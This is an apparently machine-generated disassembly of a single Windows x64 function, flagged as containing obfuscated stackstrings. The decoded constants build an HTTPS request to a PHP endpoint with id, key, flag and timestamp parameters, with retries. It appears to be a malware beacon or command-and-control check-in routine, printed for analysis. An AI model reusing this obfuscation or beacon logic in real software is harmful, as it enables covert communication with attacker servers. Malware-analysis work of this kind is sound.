Function at 0x14000cd0c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x1400dc020]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
mov qword [rsp + 0x68], r9
mov r15, r8
mov qword [rsp + 0x40], r8
mov bl, dl
mov rax, rcx
mov qword [rsp + 0x48], rcx
mov rcx, qword [rbp + 0x220]
mov qword [rsp + 0x60], rcx
mov rcx, qword [rbp + 0x228]
mov qword [rsp + 0x58], rcx
mov rcx, qword [rbp + 0x230]
mov qword [rsp + 0x50], rcx
xor esi, esi
mov dword [rsp + 0x38], esi
mov r13b, sil
mov byte [rsp + 0x30], sil
mov byte [r8], sil
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.140023e68
nop
mov dword [rbp + 0x83], 0x702e676f
mov dword [rbp + 0x89], 0x3d693f
mov word [rbp + 0x81], 0x6c66
mov word [rbp + 0x87], 0x7068
mov byte [rbp + 0x80], 0x2f
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x30], sil
mov dword [rsp + 0x34], 0x3d7026
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x10]
test bl, bl
je 0x14000d124
mov word [rbp + 0x74], 0x6526
mov word [rbp + 0x77], 0x31
mov dword [rbp + 0x70], 0x323d7826
mov byte [rbp + 0x76], 0x3d
call fcn.1400234b8
nop
mov qword [rbp - 0x10], rsi
mov qword [rbp], rsi
mov qword [rbp + 8], rsi
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.140021714
mov dword [rsp + 0x38], 1
lea rax, [rsp + 0x34]
or rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x14000ce3e
lea rdx, [rsp + 0x34]
lea rcx, [rbp - 0x10]
call fcn.140021048
nop
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x50]
call fcn.140021714
mov dword [rsp + 0x38], 3
mov r8d, 0x20
lea rdx, str.1af3edf2e0db4686841b9423a14fb240
lea rcx, [rbp - 0x50]
call fcn.140021048
nop
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rsi
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x70]
call fcn.140021714
mov dword [rsp + 0x38], 7
lea rax, [rbp + 0x70]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x14000ceb6
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x70]
call fcn.140021048
lea rcx, [rbp - 0x30]
mov edi, reloc.WS2_32.dll_recv
cmp qword [rbp - 0x18], rdi
cmovae rcx, qword [rbp - 0x30]
lea rax, [rbp - 0x70]
cmp qword [rbp - 0x58], rdi
cmovae rax, qword [rbp - 0x70]
mov r12d, 0x1000
cmp rcx, rax
je 0x14000d014
mov qword [rbp - 0x20], rsi
lea rax, [rbp - 0x30]
cmp qword [rbp - 0x18], rdi
cmovae rax, qword [rbp - 0x30]
mov byte [rax], sil
lea r13, [rbp - 0x70]
cmp qword [rbp - 0x58], rdi
cmovae r13, qword [rbp - 0x70]
mov r14, qword [rbp - 0x60]
mov r15, qword [rbp - 0x18]
cmp r14, r15
ja 0x14000cf4f
lea rbx, [rbp - 0x30]
cmp r15, rdi
cmovae rbx, qword [rbp - 0x30]
mov qword [rbp - 0x20], r14
mov r8, r14
mov rdx, r13
mov rcx, rbx
call fcn.140028de0
mov byte [rbx + r14], sil
jmp 0x14000d00a
movabs rbx, 0x7fffffffffffffff
cmp r14, rbx
ja 0x14000d8a9
mov rcx, r14
or rcx, 0xf
cmp rcx, rbx
jbe 0x14000cf7a
movabs rcx, 0x8000000000000000
jmp 0x14000cfa2
mov rdx, r15
shr rdx, 1
mov rax, rbx
sub rax, rdx
cmp r15, rax
ja 0x14000cf6e
lea rax, [r15 + rdx]
mov rbx, rcx
cmp rcx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, r12
jb 0x14000cfa9
call fcn.140021a0c
jmp 0x14000cfb3
test rcx, rcx
je 0x14000cfb6
call fcn.140026e74
mov rsi, rax
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], rbx
mov r8, r14
mov rdx, r13
mov rcx, rsi
call fcn.140028de0
mov byte [rsi + r14], 0
cmp r15, rdi
jb 0x14000d004
lea rdx, [r15 + 1]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, r12
jb 0x14000cfff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d8af
call fcn.140026e6c
mov qword [rbp - 0x30], rsi
xor esi, esi
mov r15, qword [rsp + 0x40]
mov r13b, byte [rsp + 0x30]
mov rdx, qword [rbp - 0x58]
cmp rdx, rdi
jb 0x14000d04a
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r12
jb 0x14000d045
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d8b5
call fcn.140026e6c
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x70], sil
mov rdx, qword [rbp - 0x38]
cmp rdx, rdi
jb 0x14000d090
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, r12
jb 0x14000d08b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d8bb
call fcn.140026e6c
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x50], sil
mov rdx, qword [rbp + 8]
cmp rdx, rdi
jb 0x14000d0d6
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, r12
jb 0x14000d0d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d8c1
call fcn.140026e6c
mov qword [rbp], rsi
mov qword [rbp + 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x10], sil
mov rdx, qword [rbp + 0x28]
cmp rdx, rdi
jb 0x14000d446
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, r12
jb 0x14000d441
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d8a3
jmp 0x14000d441
mov dword [rbp + 0x70], 0x313d7826
mov dword [rbp + 0x75], 0x313d65
mov byte [rbp + 0x74], 0x26
call fcn.1400234b8
nop
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.140021714
mov dword [rsp + 0x38], 8
lea rax, [rsp + 0x34]
or rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x14000d168
lea rdx, [rsp + 0x34]
lea rcx, [rbp - 0x50]
call fcn.140021048
nop
mov qword [rbp - 0x10], rsi
mov qword [rbp], rsi
mov qword [rbp + 8], rsi
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x10]
call fcn.140021714
mov dword [rsp + 0x38], 0x18
mov r8d, 0x20
lea rdx, str.1af3edf2e0db4686841b9423a14fb240
lea rcx, [rbp - 0x10]
call fcn.140021048
nop
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rsi
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x70]
call fcn.140021714
mov dword [rsp + 0x38], 0x38
lea rax, [rbp + 0x70]
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x14000d1e0
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x70]
call fcn.140021048
lea rcx, [rbp - 0x30]
mov edi, reloc.WS2_32.dll_recv
cmp qword [rbp - 0x18], rdi
cmovae rcx, qword [rbp - 0x30]
lea rax, [rbp - 0x70]
cmp qword [rbp - 0x58], rdi
cmovae rax, qword [rbp - 0x70]
mov r12d, 0x1000
cmp rcx, rax
je 0x14000d33e
mov qword [rbp - 0x20], rsi
lea rax, [rbp - 0x30]
cmp qword [rbp - 0x18], rdi
cmovae rax, qword [rbp - 0x30]
mov byte [rax], sil
lea r13, [rbp - 0x70]
cmp qword [rbp - 0x58], rdi
cmovae r13, qword [rbp - 0x70]
mov r14, qword [rbp - 0x60]
mov r15, qword [rbp - 0x18]
cmp r14, r15
ja 0x14000d279
lea rbx, [rbp - 0x30]
cmp r15, rdi
cmovae rbx, qword [rbp - 0x30]
mov qword [rbp - 0x20], r14
mov r8, r14
mov rdx, r13
mov rcx, rbx
call fcn.140028de0
mov byte [rbx + r14], sil
jmp 0x14000d334
movabs rbx, 0x7fffffffffffffff
cmp r14, rbx
ja 0x14000d8c7
mov rcx, r14
or rcx, 0xf
cmp rcx, rbx
jbe 0x14000d2a4
movabs rcx, 0x8000000000000000
jmp 0x14000d2cc
mov rdx, r15
shr rdx, 1
mov rax, rbx
sub rax, rdx
cmp r15, rax
ja 0x14000d298
lea rax, [rdx + r15]
mov rbx, rcx
cmp rcx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, r12
jb 0x14000d2d3
call fcn.140021a0c
jmp 0x14000d2dd
test rcx, rcx
je 0x14000d2e0
call fcn.140026e74
mov rsi, rax
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], rbx
mov r8, r14
mov rdx, r13
mov rcx, rsi
call fcn.140028de0
mov byte [rsi + r14], 0
cmp r15, rdi
jb 0x14000d32e
lea rdx, [r15 + 1]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, r12
jb 0x14000d329
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d8cd
call fcn.140026e6c
mov qword [rbp - 0x30], rsi
xor esi, esi
mov r15, qword [rsp + 0x40]
mov r13b, byte [rsp + 0x30]
mov rdx, qword [rbp - 0x58]
cmp rdx, rdi
jb 0x14000d374
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r12
jb 0x14000d36f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d8d3
call fcn.140026e6c
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x70], sil
mov rdx, qword [rbp + 8]
cmp rdx, rdi
jb 0x14000d3ba
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, r12
jb 0x14000d3b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d8d9
call fcn.140026e6c
mov qword [rbp], rsi
mov qword [rbp + 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x10], sil
mov rdx, qword [rbp - 0x38]
cmp rdx, rdi
jb 0x14000d400
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, r12
jb 0x14000d3fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d8df
call fcn.140026e6c
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x50], sil
mov rdx, qword [rbp + 0x28]
cmp rdx, rdi
jb 0x14000d446
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, r12
jb 0x14000d441
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d8e5
call fcn.140026e6c
mov qword [rbp - 0x10], rsi
mov qword [rbp], rsi
mov qword [rbp + 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x10], sil
mov dword [rbp + 0x98], 0x73257325
mov dword [rbp + 0x91], 0x73707474
mov word [rbp + 0x96], 0x2f2f
mov byte [rbp + 0x90], 0x68
mov byte [rbp + 0x9c], sil
mov byte [rbp + 0x95], 0x3a
mov dword [rbp + 0x70], 0x616f7373
mov dword [rbp + 0x74], 0x632e6d70
mov word [rbp + 0x79], WSASetLastError
mov byte [rbp + 0x78], reloc.WS2_32.dll_WSAGetLastError
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.140023e68
nop
lea r9, [rbp - 0x30]
cmp qword [rbp - 0x18], rdi
cmovae r9, qword [rbp - 0x30]
lea r8, [rbp - 0x50]
cmp qword [rbp - 0x38], rdi
cmovae r8, qword [rbp - 0x50]
lea rdx, [rbp + 0x90]
lea rcx, [rbp - 0x10]
call fcn.140022e30
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, rdi
jb 0x14000d513
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, r12
jb 0x14000d50e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d8eb
call fcn.140026e6c
or r14, 0xffffffffffffffff
xor ebx, ebx
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0xa0]
call fcn.140028c20
lea rcx, [rbp + 0xa0]
call fcn.14000493c
mov qword [rbp + 0x10], rbx
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], bl
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x50]
call fcn.140021714
nop
mov dword [rbp + 0x71], 0x656d6974
mov dword [rbp + 0x75], 0x64253d
mov byte [rbp + 0x70], 0x26
call fcn.1400087ec
mov r8d, eax
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x50]
call fcn.140023268
mov dword [rsp + 0x38], ebx
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], rdi
cmovae rdx, qword [rbp - 0x50]
lea r8, [rsp + 0x38]
call fcn.14001eb74
test al, al
jne 0x14000d5bb
mov ecx, 0x1f4
call fcn.14001f860
jmp 0x14000d720
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x60], rbx
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x58], rdx
mov byte [rbp - 0x70], bl
mov ebx, dword [rsp + 0x38]
cmp ebx, 0x40000
jge 0x14000d6c0
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], rdi
cmovae rdx, qword [rbp - 0x50]
lea r8, [rbp - 0x70]
call fcn.14001011c
test al, al
je 0x14000d6bc
cmp qword [rbp - 0x60], 0xa
jae 0x14000d6bc
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], rdi
cmovae rdx, qword [rbp - 0x70]
lea rcx, [rbp + 0x30]
call fcn.140023e68
nop
lea rcx, [rbp + 0x30]
call fcn.140021d44
mov word [rsp + 0x35], 0x30
mov byte [rsp + 0x34], 0x31
xor r8d, r8d
lea rdx, [rsp + 0x34]
lea rcx, [rbp + 0x30]
call fcn.140022894
cmp rax, r14
cmove eax, r14d
test eax, eax
js 0x14000d686
mov rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.140023e68
mov byte [rsp + 0x28], 0
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rcx
mov r9, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rcx, rax
call fcn.14001b918
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, rdi
jb 0x14000d6bc
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, r12
jb 0x14000d6b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d8f1
call fcn.140026e6c
mov rdx, qword [rbp - 0x58]
lea eax, [rbx - 0x10]
cmp eax, 0x3fff0
ja 0x14000d767
mov ecx, 0x1f4
call fcn.14001f860
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, rdi
jb 0x14000d70f
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r12
jb 0x14000d70a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d8f7
call fcn.140026e6c
xor ebx, ebx
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x70], bl
mov rdx, qword [rbp - 0x38]
cmp rdx, rdi
jb 0x14000d757
inc rdx
mov rcx, qword [rbp - 0x50]
cmp rdx, r12
mov rax, rcx
jb 0x14000d751
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d8fd
call fcn.140026e6c
nop
inc esi
cmp esi, 5
jge 0x14000d7ef
jmp 0x14000d519
mov byte [r15], 1
cmp ebx, 0x40000
setg r13b
cmp rdx, rdi
jb 0x14000d7a7
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, r12
jb 0x14000d7a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d8f7
call fcn.140026e6c
xor ebx, ebx
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x70], bl
mov rdx, qword [rbp - 0x38]
cmp rdx, rdi
jb 0x14000d7ef
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, r12
jb 0x14000d7e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d8fd
call fcn.140026e6c
nop
mov rdx, qword [rbp + 8]
cmp rdx, rdi
jb 0x14000d826
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, r12
jb 0x14000d820
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d903
call fcn.140026e6c
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, rdi
jb 0x14000d858
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, r12
jb 0x14000d853
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d89d
call fcn.140026e6c
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x30], bl
lea rcx, [rbp + 0x50]
call fcn.14002189c
mov al, r13b
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.140026bb0
mov rbx, qword [rsp + 0x308]
add rsp, 0x2c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.1400218f8
int3
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.1400218f8
int3
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
nop
call fcn.14002d728
int3